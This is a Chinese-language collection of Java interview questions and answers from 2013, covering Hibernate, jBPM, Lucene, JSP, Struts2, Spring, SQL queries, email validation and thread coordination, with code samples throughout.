java相关问题
問題1:JPBM的常用接口有哪些? ?
??
ProcessEngine工作流的流程引擎對象 ?
1、RepositoryService ? ?流程資源服務的接口。 ??
? ?作用: ? ?提供對流程定義的部署、查詢、刪除等操作。 ??
2、ExecutionService ? ? 流程執行服務的接口。 ??
? ?作用: ? ?提供啟動流程實例、“執行”推進,設置流程實例變量等操作。 ??
3、ManagementService ? 流程管理控制服務接口。 ??
? ?作用: ? ?提供異步工作相關的執行和查詢操作。 ??
4、TaskService ? ? ? ? ?人工任務服務接口。 ??
? ?作用: ? ?提供對任務(Task)的創建、提交、查詢、保存、刪除等操作。 ??
5、HistoryService ? ? ? 流程歷史服務的接口。 ??
? ?作用: ? ?提供對任務的管理操作,提供對流程歷史庫中歷史流程實例、歷史活動實例等記錄的查詢操作。還提供諸如某個流程定義中所有活動的平均持續時間、某個流程定義中某轉移的結果次數等數據分析服務。 ??
6、IdentityService ? ? ?身份認證服務的接口。 ??
? ?作用: ? ?提供對流程用戶、用戶組以及組成員關系的相關服務。 ??
??
問題2:Hibernate的核心接口有哪些? ?
?
Hibernate的核心接口一共有5個,分別為:Session、SessionFactory、Transaction、Query和Configuration。 ?
這5個核心接口在任何開發中都會用到。通過這些接口,不僅可以對持久化對象進行存取,還能夠進行事務控制。 ?
?
問題3:Hibernate的緩存有哪些? ?
?
Session是一級緩存,SessionFactry是二級緩存。 ?
SessionFactory是Hibernate的概念,對應一個數據存儲源(如MySql,SQLServer,Oracle) ?
看你項目中用的哪個數據庫,可以有多個,在XML文件中配置,由Configuration創建 ?
SessionFactory可以創建Session,Session用來控制事務以及增刪改查操作 ?
SessionFactory是線程安全的,多線程可以同時訪問它,創建一次就行 ?
Session是線程不安全的,代表對數據庫一次操作。一般每一次對數據庫的操作都要創建一個Session,用之后關閉 ?
?
1、內部緩存存在Hibernate中又叫一級緩存,屬于應用事務級緩存 ?
2、二級緩存: ?
a) 應用級緩存 ?
b) 分布式緩存,比如使用Memcached可作為Hibernate二級分布式緩存 ?
條件:數據不會被第三方修改、數據大小在可接受范圍、數據更新頻率低、同一數據被系統頻繁使用、非關鍵數據 ?
c) 第三方緩存的實現 ?
?
問題4:Hibernate中get和load有什么區別? ?
?
不存在對應記錄時表現不一樣 ?
load返回的是代理對象(javassist.jar生成二進制碼),等到真正用到對象的內容才會發出SQL語句 ?
get直接從數據庫加載,不會延遲 ?
get不支持懶加載 ,load支持 ?
get查詢數據庫不存在的記錄時返回null ,load就報異常了 ?
?
問題5:什么是Session? ?
?
Session 是客戶端與服務器之間的會話,用來保存用戶的信息。 ?
在編程里是會話的意思 ?
Session 對象存儲特定用戶會話所需的信息。這樣,當用戶在應用程序的 Web 頁之間跳轉時,存儲在 Session 對象中的變量將不會丟失,而是在整個用戶會話中一直存在下去 ?
當用戶請求來自應用程序的 Web 頁時,如果該用戶還沒有會話,則 Web 服務器將自動創建一個 Session 對象。當會話過期或被放棄后,服務器將終止該會話 ?
?
問題6:Session和Cookie區別? ?
??
Session是服務器端緩存,Cookie是客戶端緩存。 ?
Cookie機制采用的是在客戶端保持狀態的方案,而Session機制采用的是在服務器端保持狀態的方案 ?
?
2013年8月7日:天懋數碼、圖創科技 ?
??
問題1:書籍表,借書表,查詢借書表每一本書的最新借書時間 ?
??
書籍表 Book ? ?表結構:主鍵ID、書名Name ?
借書表 Lend ? ?表結構:主鍵ID、外鍵BookID、借書時間Time ?
要求精確到秒 ?
??
/* 查詢lend表,通過bookId分組,查出每組中時間最大的,時間最大的代表最新的*/ ?
SELECT max(l.time) ??
FROM lend as l ??
GROUP BY l.bookId; ?
??
/* 查詢book表和lend表 */ ?
SELECT b.name as "書名", l.time as "最新借出時間" ??
FROM book as b , lend as l ??
WHERE l.bookId = b.id ??
AND ??
l.time IN ??
( ?
SELECT max(l.time) ??
FROM lend as l ??
GROUP BY l.bookId ?
); ?
??
問題2:WebService相關 ?
??
概念: ?
Web Service 是一項新技術,能使得運行在不同機器上的不同應用無須借助附加的、專門的第三方軟件或硬件,就可相互交換數據或集成。依據Web Service 規范實施的應用之間,無論它們所使用的語言、平臺或內部協議是什么,都可以相互交換數據。 ?
通俗的講,Web Service 就是一個部署在Web 服務器上的一個應用程序,它向外界暴露出一個能夠通過Web 進行調用的API。 ?
這就是說,你能夠用編程的方法通過Web 來調用這個應用程序。我們把調用這個Web Service 的應用程序叫做客戶端,發布這個web 服務的機器稱為Web Service 服務器。 ?
??
優勢: ?
異構平臺的互通性 ?
更廣泛的軟件復用 ?
成本低、可讀性強、應用范圍廣 ?
迅捷的軟件發行方式 ?
??
WSDL:WebService服務描述語言 ?
獲取WEB的發布信息是通過wsimport來解析wsdl文件得到Java類來實現的。無論是獲取發布的服務,還是調用發布的服務,都需要參考wsdl文件 ?
??
CXF框架概念介紹 ?
Apache CXF 是一個開源的Services框架,CXF 幫助您來構建和開發 Services。 ?
這些 Services 可以支持多種協議,比如:SOAP1.1/1.2、POST/HTTP、RESTful、HTTP,CXF大大簡化了Service,可以天然地和 Spring 進行無縫集成。 ?
??
問題3:Lucene相關 ?
??
對索引庫的操作可以分為兩種:管理與查詢 ?
??
管理索引庫使用IndexWriter,從索引庫中查詢使用IndexSearcher。 ?
Lucene的數據結構為Document文檔與Field字段 ?
Document代表一條數據,Field代表數據中的一個屬性。 ?
一個Document中有多個Field,Field的值為String型,因為Lucene只處理文本 ?
我們只需要把在我們的程序中的對象轉成Document,就可以交給Lucene管理了,搜索的結果中的數據列表也是Document的集合 ?
??
中文分詞器之一:IKAnalyzer ?
格式器對象Formatter ?
索引庫數據查看器(lukeall-1.0.0.jar) ?
??
IndexSearcher:是用來在建立好的索引上進行搜索 ?
QueryParser:QueryParser 是查詢操作的解析類, 要告訴QueryParser對哪個字段進行查詢, 用什么樣的分詞器,進行分詞,最后返回的是一個Query對象, 交給IndexSearcher做查詢操作 ?
Term:是搜索的基本單元, Term對象有兩個String類型的域組成:字段的名稱和字段的值, 被分詞建立索引的Field就是Term ?
TopDocs: ?
int totalHits ?Expert: The total number of hits for the query. ?
ScoreDoc[] scoreDocs Expert: The top hits for the query ?
??
創建索引API分析 ?
Directory: 類代表一個Lucene索引的位置,FSDirectory:它表示一個存儲在文件系統中的索引的位置 ?
Analyzer類是一個抽象類, 它有多個實現,在一個文檔被入索引庫之前,首先需要對文檔內容進行分詞處理,針對不同的語言和應用需要選擇適合的 Analyzer。Analyzer 把分詞后的內容交給 IndexWriter 來建立索引 ?
IndexWriter:是創建索引和維護索引的中心組件, 這個類創建一個新的索引并且添加文檔到一個已有的索引中。IndexWriter只負責索引庫的更新(刪、更新、插入),不負責查詢 ?
Document:由多個字段(Field)組成,一個Field代表與這個文檔相關的元數據。如作者、標題、主題等等,分別做為文檔的字段索引和存儲。add(Fieldable field)添加一個字段(Field)到Document ?
??
Jar包至少有: ?
? ? lucene-core-3.0.1.jar(核心包) ?
? ? contrib\analyzers\common\lucene-analyzers-3.0.1.jar(分詞器) ?
? ? contrib\highlighter\lucene-highlighter-3.0.1.jar(高亮) ?
? ? contrib\memory\lucene-memory-3.0.1.jar(高亮) ?
??
全文檢索與數據查詢的區別 ??
相關度排序: 查出的結果沒有相關度排序,不知道我想要的結果在哪一頁。我們在使用百度搜索時,一般不需要翻頁,為什么?因為百度做了相關度排序:為每一條結果打一個分數,這條結果越符合搜索條件,得分就越高,叫做相關度得分,結果列表會按照這個分數由高到低排列,所以第1頁的結果就是我們最想要的結果 ?
查詢的方式: 全文檢索的速度大大快于SQL的like搜索的速度。這是因為查詢方式不同造成的,以查字典舉例:數據庫的like就是一頁一頁的翻,一行一行的找,而全文檢索是先查目錄,得到結果所在的頁碼,再直接翻到這一頁 ?
定位不一樣:一個更側重高效、安全的存儲、一個是側重準確、方便的搜索 ?
??
問題4:要求在不允許引入第三個變量的情況下交換 var a=1; ?var b=2; ?
??
方法一: ?
a=a+b; ? ?b=a-b; ? ?a=a-b; ?
輸出a,b可以發現兩值已經交換 ?
??
方法二: ?
a=a^b; ? ?b=a^b; ? ?a=a^b; ?
??
問題5:使用正則表達式驗證郵箱 ?
??
正則表達式(regular expression, 常常縮寫為RegExp) 是一種用特殊符號編寫的模式,描述一個或多個文本字符串。使用正則表達式匹配文本的模式,這樣腳本就可以輕松的識別和操作文本。 ?
其實,正則表達式是值得大家花時間學習的。正則表達式不僅在JavaScript 中有用,在其他許多地方也可以使用正則表達式,例如其他編程語言(比如Perl,Java,C#,Python 和PHP ),Apache 配置文件以及BBEdit 和TextMate 等文本編輯器。甚至Adobe Dreamweaver 和Microsoft Word( 在一定程度上) 使用正則表達式也可以實現更強大的搜索和替換。 ??
??
下面是一個驗證電子郵件的正則表達式 : ?
var re = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/ ; ??
??
下面我們開始剖析這個正則表達式: ?
re 是一個變量, 用來存儲右邊的正則表達式,在JavaScript中,聲明變量使用Var 關鍵字。 ?
正則表達式的閱讀順序是從左向右的 ?
正則表達式總是以( / ) 開頭和結尾,斜杠之間的所有內容都是正則表達式的組成部分 ?
脫字符( ^ ) 表示我們要使用這個表達式來檢查以特定字符串開頭的字符串。如果去掉脫字符,那么即使字符串開頭有一堆垃圾字符,電子郵件地址也可能被認為是有效的。 ?
表達式\w 表示任意單一字符,包括a~z 、A~Z 、0~9 或下劃線。電子郵件必須這些字符之一開頭 ?
加號+ 表示我們要尋找前面條目的一次或多次出現 ?
圓括號( ) 表示一個組,這意味著后面要引用圓括號中的所有內容,所以現在將它們放在一個組中 ?
方括號[ ] 用來表示可以出現其中的任意一個字符。在這個示例中,方括號內包含字符\.- 。我們希望允許用戶輸入點號或連字符,但是點號對于正則表達式有特殊的意義,所以需要在它前面加上反斜杠\, 在特殊字符前加反斜杠表示“對字符轉義”,經轉義后的字符表示其本身意義。因為有方括號,輸入字符串在這個位置可以有一個點號或一個連字符,但是兩種不能同時存在 ?
問號?表示前面的條目可以出現一次或不出現。所以電子郵件地址的第一部分中可以有一個點號或一個連字符,也可以沒有 ?
在?后面,再次使用\w+ ,表示點號或連字符后面必須有其他字符 ?
在()后面出現的* 號,表示前面的條目可以出現零次或多次。所以圓括號中的內容可以出現零次或多次 ?
@ 字符代表其本身,沒有任何其他意義,這個字符位于電子郵件地址和域名之間 ?
@ 字符后再次出現\w+ ,表示@ 后必須出現字符。在此之后,再次出現([\.-]?\w+)*, 表示電子郵件地址的后綴中允許出現點號或連字符 ?
然后,在一對圓括號中建立另一個組(\.\w{2,3}), 表示我們希望找到一個點號,后面跟一些字符。在這個示例中,花括號中的數字表示前面的條目可以出現2 到3 次。在這個組的后面是一個+ 號,表示前面的條目(這個組)必須出現一次或多次。這會匹配.com 或.edu 之類的,也與ox.ac.uk 匹配 ?
最后,正則表達式的末尾是一個美元符號$ ,表示匹配的字符串必須在這里結束。斜杠結束正則表達式 ?
??
問題6:不使用正則表達式驗證郵箱 ?
??
< script type="text/javascript"> ?
? ? document.getElementById('email').onblur = function() { ?
? ? ? ? var value = this.value; ?
? ? ? ? if (typeof value == 'undefined') { //未定義 ?
? ? ? ? ? ? alert('Email不能為空'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.trim() == '') { //空值 ?
? ? ? ? ? ? alert('Email不能為空'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.indexOf('@') == -1) { //不包含@ ?
? ? ? ? ? ? alert('Email必須包含@,如abc@qq.com'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.indexOf('.') == -1) { //不包含. ?
? ? ? ? ? ? alert('Email必須包含.,如abc@qq.com'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else { //包含@與. ?
? ? ? ? ? ? //以@或.開頭@qq.com 和 .@qq.com非法 ?
? ? ? ? ? ? if (value.indexOf('@') == 0 || value.indexOf('.') == 0) { ?
? ? ? ? ? ? ? ? alert('Email只能以字母開頭'); ?
? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? } else if (value.lastIndexOf('@') == value.length - 1 ?
? ? ? ? ? ? ? ? ? ? || value.lastIndexOf('.') == value.length - 1) { ?
? ? ? ? ? ? ? ? ? ? //以@或.結束 ?a@qq.com@ 和a@qq.com.非法 ?
? ? ? ? ? ? ? ? alert('Email只能以字母結束'); ?
? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? } else { //包含@與.且不以它們結束 ?
? ? ? ? ? ? ? ? var count_at = 0; ?
? ? ? ? ? ? ? ? //多個@ ?a@b@qq.com非法 ?
? ? ? ? ? ? ? ? if (value.indexOf('@') != value.lastIndexOf('@')) { ?
? ? ? ? ? ? ? ? ? ? alert('Email只能包含一個@,如abc@qq.com'); ?
? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? var beforeAt = value.substr(0, value.indexOf('@')); ?
? ? ? ? ? ? ? ? if (beforeAt.indexOf('.') != -1) { //a.b@qq.com 非法 ?
? ? ? ? ? ? ? ? ? ? alert('Email的@前必須全部為字母'); ?
? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? } ?
??
? ? ? ? ? ? //刪除@,.替換@,反正替換后按.分隔時a@.拼接,導致@.之間無法判定為空 ?
? ? ? ? ? ? ? ? value = value.replace('@', '.'); ?
? ? ? ? ? ? ? ? var splits = value.split('.'); //按.分隔 ?
? ? ? ? ? ? ? ? var a_z = 'abcdefghijklmnopqrstuvwxyz'; //僅字母 ?
? ? ? ? ? ? ? ? for ( var i in splits) { ??
//對點分隔后的字符進行單字切割并匹配a-z ?
? ? ? ? ? ? ? ? ? ? if (splits[i] == '') { ?
? ? ? ? ? ? ? ? ? ? ? ? alert('Email的@.或..不能連接'); ?
? ? ? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? var words = splits[i].split(""); //單字切割 ?
? ? ? ? ? ? ? ? ? ? for ( var w in words) { //對每個單字進行驗證 ?
? ? ? ? ? ? ? ? ? ? ? ? if (a_z.indexOf(words[w].toLowerCase()) == -1) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? alert('Email只能包含字母!'); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? ? ? ? ? }}}}} ?
? ? ? ? return true; } ?
< /script> ?
??
2013年8月8日:圖創科技、進易通信技術 ?
??
問題1:使用A、B、C三個線程,有序的輸出ABCABCABC循環十次 ?
class A implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (a) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (b) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("A"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? b.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? a.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? class B implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (b) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (c) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("B"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? c.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? b.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? class C implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (c) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (a) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("C"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? a.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? c.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? public static Object a = new Object(); ?
? ? public static Object b = new Object(); ?
? ? public static Object c = new Object(); ?
??
? ? public static void main(String[] args) throws Exception { ?
? ? ? ? TestThread t = new TestThread(); ?
??
? ? ? ? Thread a = new Thread(t.new A()); ?
? ? ? ? Thread b = new Thread(t.new B()); ?
? ? ? ? Thread c = new Thread(t.new C()); ?
??
? ? ? ? a.start(); ?
? ? ? ? Thread.sleep(1); ?
? ? ? ? b.start(); ?
? ? ? ? Thread.sleep(1); ?
? ? ? ? c.start(); ?
? ? } ?
??
問題2:讀取文本信息,讀取指定信息,比如“姓名:陳小影”里的陳小影,以及統計數據 ?
??
用緩沖流的readline(),一次讀一行,然后截取冒號后面的,再加上字符串截取就行了subString(),最后再拼起來。 ?
?
代碼: ?
InputStreamReader read = new InputStreamReader(new FileInputStream(file), "UTF-8"); ?
BufferedReader reader = new BufferedReader(read); ?
??
代碼: ?
public static void main(String[] args) throws IOException ?
? ? ?{ ?
? ? ? FileReader is = new FileReader("D:/input.txt.txt"); ?
? ? ? BufferedReader br = new BufferedReader(is); ?
? ? ? StringBuffer buffer = new StringBuffer(); ?
? ? ? String test = ""; ?
??
? ? ? while((test = br.readLine()) != null){ ?
? ? ? ?int num = numString(test,"java"); ?
? ? ? ?PrintWriter ?os = new PrintWriter ("D:/result.txt.txt"); ?
? ? ? ?buffer.append("input.txt文件中,包含"); ?
? ? ? ?buffer.append(num); ?
? ? ? ?buffer.append("個java字符串"); ?
? ? ? ?os.write(buffer.toString()); ?
? ? ? ?os.close(); ??
? ? ? } ?
? ? ?} ?
? ? ? ?
? ? ?public static int numString(String s , String str) { ?
? ? ? ? ? ? int i = 0 ; ? ? //指定的開始搜索的索引 ?
? ? ? ? ? ? int index = 0 ; //查找到的第一個索引 ?
? ? ? ? ? ? int num = 0 ; ? ? ? //字符串出現的次數 ?
??
? ? ? ? ? ? while(index != -1) { ?
? ? ? ? ? ? //indexOf(String str, int fromIndex) ??
? ? ? ? ? ? //返回指定子字符串在此字符串中第一次出現處的索引,從指定的索引開始。 ?
? ? ? ? ? ? ? ? index = s.indexOf(str,i) ; ?
? ? ? ? ? ? ? ? if(index != -1) ?
? ? ? ? ? ? ? ? ? ? num ++ ; ?
? ? ? ? ? ? ? ? i = index + str.length() ; ?
? ? ? ? ? ? } ?
? ? ? ? ? ? return num ; ?
? ? ? ? } ?
? ? } ?
??
問題3:JSP的九大內置對象和四個作用域 ?
??
九大內置對象: ?
request ? ? ? 請求對象 ? ? ? ? 用戶端請求,此請求會包含來自GET/POST請求的參數 作用域 Request ?
response ? ? ?響應對象 ? ? ? ? ?網頁傳回用戶端的回應 ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
pageContext ? 頁面上下文對象 ? 網頁的屬性在這里管理 ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
session ? ? ? 會話對象 ? ? ? ? ?與請求有關的會話期 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Session ?
application ? 應用程序對象 ? ?servlet正在執行的內容 ? ? ? ? ? ? ? ? ? ? ?作用域 Application ?
out ? ? ? ? ? 輸出對象 ? ? ? ? ?用來傳送回應的輸出 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Page ?
config ? ? ? ?配置對象 ? ? ? ? ?servlet的構架部件 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
page ? ? ? ? ?頁面對象 ? ? ? ? ?JSP網頁本身 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Page ?
exception ? ? 例外對象 ? ? ? ? ?針對錯誤網頁,未捕捉的例外 ? ? ? ? ? ? ? ? ? ? ? 作用域 page ?
??
四個作用域:page、request、session、application ?
Page ? ? ? ? ? ?范圍是當前頁面 ?
Request ? ? 范圍是當前請求周期(從請求發起到服務器處理結束,返回響應的整個過程) ?
Session ? ? 范圍是當前會話(用戶打開瀏覽器開始,到用戶關閉瀏覽器并且會話失效的整個過程) ?
Application 范圍是整個應用,從應用啟動到應用結束 ?
??
問題4:FileWriter和PrintWriter有什么區別? ?
??
在寫文件時我認為: ?
? PrintWriter ?out ?= ?new ?PrintWriter( ? ??
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? new ?BufferedWriter( ? ??
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? new ?FileWriter(filename))); ?
比較好點 ?
??
PrintWriter ? ? 提供print系方法 ?
BufferedWriter ?提供緩沖,用以加速 ?
FileWriter ? ? ?用于寫文件 ?
??
FileWriter類/FileReader類: ??
用于對字符文件的讀寫的便捷的結點流類 ?
使用時最好用BufferedReader/BufferedWriter對其進行包裝。 ?
??
PrintStream類(如System.out): ?
格式化打印輸出字節數據的流,該類提供的print[ln]()方法可格式化打印輸出各種類型的數據(包括類對象) ?
它使用平臺的默認字符編碼將所有字符都轉換為字節打印輸出(寫入) ?
??
在需要寫入字符而不是寫入字節的情況下,應該使用PrintWriter類 ?
??
問題5:簡述JSP和Servlet的關系? ?
??
JSP---Java Server Pages ?
擁有Servlet的特性與優點(本身就是一個Servlet) ?
直接在HTML中內嵌JSP代碼 ?
只有當客戶端第一次請求JSP時,才需要將其轉換、編譯Servlet代碼 ?
??
優點: ?
優良的性能 ? 優于CGI,PHP,ASP ?
平臺無關性 ? 操作系統無關,Web服務器無關 ?
可擴展性 ? ?標簽庫Tag的擴展機制,簡化頁面開發——Taglib uri ?
??
Servlet是在Web服務器上的Java程序,它提供服務,由它來傳遞給你html的格式 ?
Servlet是服務器小小的Java應用程序 ?
用來完成B/S架構下,客戶端請求的響應處理 ?
平臺獨立,性能優良,能以線程方式運行 ?
Servlet API為Servlet提供了統一的編程接口 ?
Servlet一般在容器中運行(必須部署在Servlet容器,才能響應客戶端的請求,對外提供服務,要對外統一接口,由容器來調用) ?
??
JSP在被第1次訪問的時候 ?會被轉義編譯成類Servlet也可以說JSP就是一個Servlet ?
??
2者的區別:JSP是Html中內嵌Java代碼;Servlet把Html代碼和Java代碼分離開 ?
? ? ? ? ? ? JSP側重與顯示;Servlet側重與控制邏輯 ?
??
問題6:簡述JAVA設計模式的概念? ?
??
設計模式(Design Pattern)是一套被反復使用、多數人知曉的、經過分類編目的、代碼設計經驗的總結。使用設計模式是為了可重用代碼、讓代碼更容易被他人理解、保證代碼可靠性。 ??
?
毫無疑問,設計模式于己于他人于系統都是多贏的,設計模式使代碼編制真正工程化,設計模式是軟件工程的基石,如同大廈的一塊塊磚石一樣。 ?
??
問題7:常用的數據庫優化方法有哪些? ?
??
建立索引 ?
導出歷史數據 ??
定期整理索引(sp_msforeachtable ? 'dbcc ? dbreindex("?")' ? ) ??
少用like,查詢前檢查條件是不是完整,如果完整就用 = 替代like查詢,不要不檢查條件完整不完整全部用like來 ?
??
問題8:什么是動態游標?什么是靜態游標? ?
??
靜態游標是以游標打開時刻的當時狀態顯示結果集的游標。靜態游標在游標打開時不反映對基礎數據進行的更新、刪除或插入。有時稱它們為快照游標。 ?
??
動態游標是可以在游標打開時反映對基礎數據進行的修改的游標。用戶所做的更新、刪除和插入在動態游標中加以反映。 ?
??
問題9:為什么要用Struts2框架? ?
??
它是建立在MVC這種公認的好的模式上的,Struts在M、V和C上都有涉及,但它主要是提供一個好的控制器和一套定制的標簽庫上,也就是說它的著力點在C和V上。因此,它天生就有MVC所帶來的一系列優點,如:結構層次分明,高可重用性,增加了程序的健壯性和可伸縮性,便于開發與設計分工,提供集中統一的權限控制、校驗、國際化、日志等等 ?
其次,它是個開源項目得到了包括它的發明者Craig R.McClanahan在內的一些程序大師和高手持續而細心的呵護,并且經受了實戰的檢驗,使其功能越來越強大,體系也日臻完善 ?
是它對其他技術和框架顯示出很好的融合性 ?
??
問題10:Struts2的工作原理? ?
??
Struts2框架由3個部分組成: ?
核心控制器FilterDispatcher、業務控制器和用戶實現的業務邏輯組件。 ?
在這3個部分里,Struts 2框架提供了核心控制器FilterDispatcher,而用戶需要實現業務控制器和業務邏輯組件。 ??
??
1、核心控制器:FilterDispatcher ??
FilterDispatcher是Struts2框架的核心控制器,該控制器作為一個Filter運行在Web應用中,它負責攔截所有的用戶請求,當用戶請求到達時,該Filter會過濾用戶請求。如果用戶請求以action結尾,該請求將被轉入Struts2框架處理。 ??
Struts2框架獲得了*.action請求后,將根據*.action請求的前面部分決定調用哪個業務邏輯組件。例如,對于login.action請求,Struts2調用名為login的Action來處理該請求。 ?
Struts2應用中的Action都被定義在struts.xml文件中,在該文件中定義Action時,定義了該Action的name屬性和class屬性,其中name屬性決定了該Action處理哪個用戶請求,而class屬性決定了該Action的實現類。 ??
Struts2用于處理用戶請求的Action實例,并不是用戶實現的業務控制器,而是Action代理。因為用戶實現的業務控制器并沒有與Servlet API耦合,顯然無法處理用戶請求。而Struts2框架提供了系列攔截器,該系列攔截器負責將HttpServletRequest請求中的請求參數解析出來,傳入到Action中,并回調Action 的execute方法來處理用戶請求。 ??
??
2、一個請求在Struts2框架中的處理大概分為以下幾個步驟: ?
客戶端初始化一個指向Servlet容器(例如Tomcat)的請求 ,即HttpServletRequest請求 ?
這個請求經過一系列的過濾器(Filter)(這些過濾器中有一個叫做ActionContextCleanUp的可選過濾器,這個過濾器對于Struts2和其他框架的集成很有幫助,例如:SiteMesh Plugin) ?
接著FilterDispatcher被調用,FilterDispatcher詢問ActionMapper來決定這個請是否需要調用某個Action ??
如果ActionMapper決定需要調用某個Action,FilterDispatcher把請求的處理交給ActionProxy ??
ActionProxy通過Configuration Manager詢問框架的配置文件,找到需要調用的Action類 ??
ActionProxy創建一個ActionInvocation的實例 ?
ActionInvocation實例使用命名模式來調用,在調用Action的過程前后,涉及到相關攔截器(Intercepter)的調用 ?
一旦Action執行完畢,ActionInvocation負責根據struts.xml中的配置找到對應的返回結果。返回結果通常是(但不總是,也可 能是另外的一個Action鏈)一個需要被表示的JSP或者FreeMarker的模版。在表示的過程中可以使用Struts2 框架中繼承的標簽。在這個過程中需要涉及到ActionMapper ?
??
在上述過程中所有的對象(Action,Results,Interceptors,等)都是通過ObjectFactory來創建的。 ?
??
問題11:Hibernate的工作原理? ?
??
讀取并解析hibernate.cfg.xml配置文件 ?
讀取并解析映射信息,創建SessionFactory ?
打開Sesssion ?
創建事務Transaction ?
持久化操作 ?
提交事務 ?
關閉Session ?
關閉SesstionFactory ?
??
問題12:為什么要用Hibernate? ?
??
對JDBC訪問數據庫的代碼做了封裝,大大簡化了數據訪問層繁瑣的重復性代碼 ?
Hibernate是一個基于JDBC的主流持久化框架,是一個優秀的ORM實現。他很大程度的簡化DAO層的編碼工作 ?
Hibernate使用Java反射機制,而不是字節碼增強程序來實現透明性 ?
Hibernate的性能非常好,因為它是個輕量級框架。映射的靈活性很出色。它支持各種關系數據庫,從一對一到多對多的各種復雜關系 ?
??
問題13:Hibernate如何實現延遲加載? ?
??
當Hibernate在查詢數據的時候,數據并沒有存在與內存中,當程序真正對數據的操作時,對象才存在與內存中,就實現了延遲加載,他節省了服務器的內存開銷,從而提高了服務器的性能。 ?
??
問題14:Hibernate中怎樣實現類之間的關系?(如:一對多、多對多的關系) ?
??
類與類之間的關系主要體現在表與表之間的關系進行操作,它們都是對對象進行操作,我們程序中把所有的表與類都映射在一起,它們通過配置文件中的many-to-one、one-to-many、many-to-many ?
??
問題15:Spring的工作原理? ?
??
IoC(Inversion of control): 控制反轉 ?
概念:控制權由對象本身轉向容器,由容器根據配置文件去創建實例并創建各個實例之間的依賴關系 ?
核心:bean工廠,在Spring中,bean工廠創建的各個實例稱作bean ?
??
AOP(Aspect-Oriented Programming): 面向切面編程 ?
??
1、代理的兩種方式: ?
靜態代理: ?
? 針對每個具體類分別編寫代理類 ??
? 針對一個接口編寫一個代理類 ?
動態代理: ?
針對一個切面編寫一個InvocationHandler,然后借用JDK反射包中的Proxy類為各種接口動態生成相應的代理類 ?
?
2、AOP的主要原理:動態代理 ?
??
Spring的工作原理 ??
Spring 已經用過一段時間了,感覺Spring是個很不錯的框架。內部最核心的就是IOC了, 動態注入,讓一個對象的創建不用new了,可以自動的生產,這其實就是利用Java里的反射 ?
反射其實就是在運行時動態的去創建、調用對象,Spring就是在運行時,跟XMLSpring的配置文件來動態的創建對象,以及調用對象里的方法 ?
